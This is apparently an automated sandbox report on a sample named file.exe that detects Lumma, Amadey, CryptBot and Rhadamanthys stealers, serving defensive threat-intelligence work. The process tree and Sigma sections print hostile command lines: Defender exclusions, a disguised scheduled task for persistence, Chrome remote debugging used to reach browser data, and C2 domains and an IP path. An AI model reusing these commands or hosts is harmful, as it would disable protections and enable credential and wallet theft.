Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1578265
MD5:	eb5e8af364226452a7b60cfdf34ce69b
SHA1:	cc80c76f29701db1dc2862d0ba28bd6a15495db1
SHA256:	c0645847e49ab8e30b22d510db3b31c8cb9e7301fa599c2cdacf4978f340abc8
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected AntiVM3

Yara detected Cryptbot

Yara detected LummaC Stealer

Yara detected RHADAMANTHYS Stealer

.NET source code contains potential unpacker

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

C2 URLs / IPs found in malware configuration

Checks if the current machine is a virtual machine (disk enumeration)

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Injects a PE file into a foreign processes

Leaks process information

Loading BitLocker PowerShell Module

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses cmd line tools excessively to alter registry or file data

Uses schtasks.exe or at.exe to add and modify task schedules

Yara detected Costura Assembly Loader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Enables security privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: Browser Started with Remote Debugging

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: Uncommon Svchost Parent Process

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara detected Keylogger Generic

Classification

Process Tree

System is w10x64

file.exe (PID: 6692 cmdline: "C:\Users\user\Desktop\file.exe" MD5: EB5E8AF364226452A7B60CFDF34CE69B)

skotes.exe (PID: 5436 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: EB5E8AF364226452A7B60CFDF34CE69B)

skotes.exe (PID: 6812 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: EB5E8AF364226452A7B60CFDF34CE69B)

skotes.exe (PID: 7588 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: EB5E8AF364226452A7B60CFDF34CE69B)

79cd489a19.exe (PID: 7848 cmdline: "C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe" MD5: EF08A45833A7D881C90DED1952F96CB4)

79cd489a19.exe (PID: 8064 cmdline: "C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe" MD5: EF08A45833A7D881C90DED1952F96CB4)

79cd489a19.exe (PID: 8072 cmdline: "C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe" MD5: EF08A45833A7D881C90DED1952F96CB4)

751afd6d8b.exe (PID: 8132 cmdline: "C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe" MD5: FF279F4E5B1C6FBDA804D2437C2DBDC8)

e8da769a7d.exe (PID: 7232 cmdline: "C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe" MD5: 8A549F15D1418FB4207AADB4BA813A36)

chrome.exe (PID: 5164 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6336 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2616 --field-trial-handle=2220,i,14010309326821436661,15778017259249604368,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

5fc147bcaa.exe (PID: 5780 cmdline: "C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe" MD5: 31093EBDC9EA634763874604C07E0F69)

svchost.exe (PID: 7256 cmdline: "C:\Windows\System32\svchost.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)

WerFault.exe (PID: 5308 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5780 -s 680 MD5: C31336C1EFC2CCB44B4326EA793040F2)

d7a64ab6bf.exe (PID: 5968 cmdline: "C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe" MD5: 14BECDF1E2402E9AA6C2BE0E6167041E)

conhost.exe (PID: 6040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7372 cmdline: "powershell.exe" Add-MpPreference -ExclusionPath "C:\wyxpjht" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6436 cmdline: "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 1228 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

fc157b04b959476fb80c0241912978f9.exe (PID: 4916 cmdline: "C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe" MD5: 577CD52217DA6D7163CEA46BB01C107F)

27302b4729.exe (PID: 5184 cmdline: "C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe" MD5: 8A9CB17C0224A01BD34B46495983C50A)

conhost.exe (PID: 1104 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

27302b4729.exe (PID: 4388 cmdline: "C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe" MD5: 8A9CB17C0224A01BD34B46495983C50A)

952ee9d31e.exe (PID: 1368 cmdline: "C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe" MD5: 3A425626CBD40345F5B8DDDD6B2B9EFA)

cmd.exe (PID: 5332 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4944 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mode.com (PID: 5244 cmdline: mode 65,10 MD5: BEA7464830980BF7C0490307DB4FC875)

7z.exe (PID: 1244 cmdline: 7z.exe e file.zip -p24291711423417250691697322505 -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 6052 cmdline: 7z.exe e extracted/file_7.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 3716 cmdline: 7z.exe e extracted/file_6.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 2992 cmdline: 7z.exe e extracted/file_5.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 4504 cmdline: 7z.exe e extracted/file_4.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 2304 cmdline: 7z.exe e extracted/file_3.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 6104 cmdline: 7z.exe e extracted/file_2.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 2472 cmdline: 7z.exe e extracted/file_1.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

attrib.exe (PID: 5440 cmdline: attrib +H "in.exe" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

in.exe (PID: 5040 cmdline: "in.exe" MD5: 83D75087C9BF6E4F07C36E550731CCDE)

attrib.exe (PID: 6184 cmdline: attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

conhost.exe (PID: 6220 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 6208 cmdline: attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

conhost.exe (PID: 6328 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 6268 cmdline: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 6388 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6376 cmdline: powershell ping 127.0.0.1; del in.exe MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6496 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Name	Description	Attribution	Blogpost URLs	Link
Rhadamanthys	According to PCrisk, Rhadamanthys is a stealer-type malware, and as its name implies - it is designed to extract data from infected machines.At the time of writing, this malware is spread through malicious websites mirroring those of genuine software such as AnyDesk, Zoom, Notepad++, and others. Rhadamanthys is downloaded alongside the real program, thus diminishing immediate user suspicion. These sites were promoted through Google ads, which superseded the legitimate search results on the Google search engine.	Sandworm	https://0xmrmagnezi.github.io/malware%20analysis/Rhadamanthys/ https://blog.cyble.com/2023/01/12/rhadamanthys-new-stealer-spreading-through-google-ads/ https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023 https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.talosintelligence.com/highlighting-ta866-asylum-ambuscade/	https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys

Malware Configuration

Threatname: LummaC

{"C2 url": ["aspecteirs.lat", "sustainskelet.lat", "discokeyus.lat", "sweepyribs.lat", "energyaffai.lat", "grannyejh.lat", "crosshuaht.lat", "rapeflowwj.lat", "necklacebudi.lat"], "Build id": "yau6Na--6989783370"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000002.2465411411.0000000005310000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000001E.00000002.3042824832.0000000000CCF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000003.2714889677.0000000005340000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000002.00000003.1854950642.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1800780125.0000000005180000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001E.00000002.3042824832.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.2596772182.00000000013F5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.2729033483.0000000003440000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000E.00000003.2698713474.0000000005000000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000E.00000003.2701991535.0000000005730000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000001.00000003.1849899623.0000000004950000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000002.1895228670.0000000000101000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000002.2462373752.0000000003B21000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000000F.00000003.2715290148.0000000005560000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000000.00000002.1849939463.0000000000C81000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000003.2702345664.0000000005950000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0000000E.00000003.2704239901.0000000005230000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000006.00000003.2261378738.0000000004750000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000003.2596234102.0000000001447000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000003.2703740052.00000000031D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000A.00000002.2457793692.0000000002B21000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000000A.00000002.2457793692.0000000002D43000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000001.00000002.1890546983.0000000000101000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: 79cd489a19.exe PID: 7848	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: 79cd489a19.exe PID: 8072	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: 751afd6d8b.exe PID: 8132	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 751afd6d8b.exe PID: 8132	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 751afd6d8b.exe PID: 8132	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 5fc147bcaa.exe PID: 5780	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: svchost.exe PID: 7256	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 27 entries

Unpacked PEs

Source	Rule	Description	Author
10.2.79cd489a19.exe.5310000.7.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
15.3.svchost.exe.5560000.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
1.2.skotes.exe.100000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
15.3.svchost.exe.5340000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
10.2.79cd489a19.exe.3b4d790.4.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
2.2.skotes.exe.100000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.c80000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
14.3.5fc147bcaa.exe.5950000.7.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
14.3.5fc147bcaa.exe.5730000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
6.2.skotes.exe.100000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
14.3.5fc147bcaa.exe.5950000.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Click to see the 6 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "powershell.exe" Add-MpPreference -ExclusionPath "C:\wyxpjht", CommandLine: "powershell.exe" Add-MpPreference -ExclusionPath "C:\wyxpjht", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe, ParentProcessId: 5968, ParentProcessName: d7a64ab6bf.exe, ProcessCommandLine: "powershell.exe" Add-MpPreference -ExclusionPath "C:\wyxpjht", ProcessId: 7372, ProcessName: powershell.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe, ParentProcessId: 7232, ParentProcessName: e8da769a7d.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default", ProcessId: 5164, ProcessName: chrome.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, CommandLine: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, CommandLine|base64offset|contains: mj,, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "in.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\main\in.exe, ParentProcessId: 5040, ParentProcessName: in.exe, ProcessCommandLine: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, ProcessId: 6268, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\svchost.exe", CommandLine: "C:\Windows\System32\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe, ParentProcessId: 5780, ParentProcessName: 5fc147bcaa.exe, ProcessCommandLine: "C:\Windows\System32\svchost.exe", ProcessId: 7256, ProcessName: svchost.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell.exe" Add-MpPreference -ExclusionPath "C:\wyxpjht", CommandLine: "powershell.exe" Add-MpPreference -ExclusionPath "C:\wyxpjht", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe, ParentProcessId: 5968, ParentProcessName: d7a64ab6bf.exe, ProcessCommandLine: "powershell.exe" Add-MpPreference -ExclusionPath "C:\wyxpjht", ProcessId: 7372, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: "C:\Windows\System32\svchost.exe", CommandLine: "C:\Windows\System32\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe, ParentProcessId: 5780, ParentProcessName: 5fc147bcaa.exe, ProcessCommandLine: "C:\Windows\System32\svchost.exe", ProcessId: 7256, ProcessName: svchost.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T14:10:25.749344+0100	2028371	3	Unknown Traffic	192.168.2.4	49794	172.67.177.88	443	TCP
2024-12-19T14:10:27.563638+0100	2028371	3	Unknown Traffic	192.168.2.4	49801	172.67.177.88	443	TCP
2024-12-19T14:10:30.341327+0100	2028371	3	Unknown Traffic	192.168.2.4	49808	172.67.177.88	443	TCP
2024-12-19T14:10:32.711336+0100	2028371	3	Unknown Traffic	192.168.2.4	49817	172.67.177.88	443	TCP
2024-12-19T14:10:35.048986+0100	2028371	3	Unknown Traffic	192.168.2.4	49823	172.67.177.88	443	TCP
2024-12-19T14:10:38.568475+0100	2028371	3	Unknown Traffic	192.168.2.4	49832	172.67.177.88	443	TCP
2024-12-19T14:10:42.057406+0100	2028371	3	Unknown Traffic	192.168.2.4	49843	172.67.177.88	443	TCP
2024-12-19T14:10:45.955933+0100	2028371	3	Unknown Traffic	192.168.2.4	49854	172.67.177.88	443	TCP
2024-12-19T14:11:01.603308+0100	2028371	3	Unknown Traffic	192.168.2.4	49896	172.67.179.109	443	TCP
2024-12-19T14:11:03.566715+0100	2028371	3	Unknown Traffic	192.168.2.4	49902	172.67.179.109	443	TCP
2024-12-19T14:11:12.965589+0100	2028371	3	Unknown Traffic	192.168.2.4	49927	104.21.66.85	443	TCP
2024-12-19T14:11:15.270779+0100	2028371	3	Unknown Traffic	192.168.2.4	49934	104.21.66.85	443	TCP
2024-12-19T14:11:18.725134+0100	2028371	3	Unknown Traffic	192.168.2.4	49943	104.21.66.85	443	TCP
2024-12-19T14:11:21.218692+0100	2028371	3	Unknown Traffic	192.168.2.4	49952	104.21.66.85	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T14:10:26.297314+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49794	172.67.177.88	443	TCP
2024-12-19T14:10:28.604267+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49801	172.67.177.88	443	TCP
2024-12-19T14:10:46.905186+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49854	172.67.177.88	443	TCP
